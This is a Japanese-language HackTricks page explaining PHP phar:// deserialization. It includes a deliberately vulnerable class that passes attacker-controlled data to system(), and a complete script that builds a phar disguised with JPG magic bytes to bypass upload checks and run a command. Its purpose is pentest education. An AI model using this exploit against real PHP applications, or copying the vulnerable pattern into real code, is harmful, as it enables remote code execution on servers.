Japanese - Ht

phar:// deserialization

htARTE（HackTricks AWS Red Team Expert） でAWSハッキングをゼロからヒーローまで学ぶ！

HackTricks をサポートする他の方法:

バグバウンティのヒント: Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです！今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう！

Phar ファイル（PHPアーカイブ）ファイルには、シリアル化された形式のメタデータが含まれているため、これを解析すると、このメタデータがデシリアライズされ、PHPコード内のデシリアライゼーション脆弱性を悪用しようとすることができます。

この特性の最も良い点は、**file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize()**など、PHPコードを評価しないPHP関数を使用していても、このデシリアライゼーションが発生することです。

したがって、phar:// プロトコルを使用して、PHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そしてコード内で以下のようなクラスを見つけた場合を考えてみてください：

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

pharファイルを作成して、次のようにしてこのクラスを悪用して任意のコマンドを実行することができます：

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

JPGのマジックバイト（\xff\xd8\xff）がpharファイルの先頭に追加され、可能性のあるファイルアップロード****制限をバイパスすることに注意してください。 次のコマンドでtest.pharファイルをコンパイルします：

php --define phar.readonly=0 create_phar.php

そして、脆弱なコードを悪用してwhoamiコマンドを実行します：

php vuln.php

参考文献

バグバウンティのヒント: Intigriti に サインアップ してください。これは、ハッカーによって作成されたプレミアムな バグバウンティプラットフォーム です！https://go.intigriti.com/hacktricks で今すぐ参加し、最大 $100,000 のバウンティを獲得しましょう！

**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキングを学びましょう**！

HackTricks をサポートする他の方法:

PreviousFile Inclusion/Path traversalNextLFI2RCE via PHP Filters

Last updated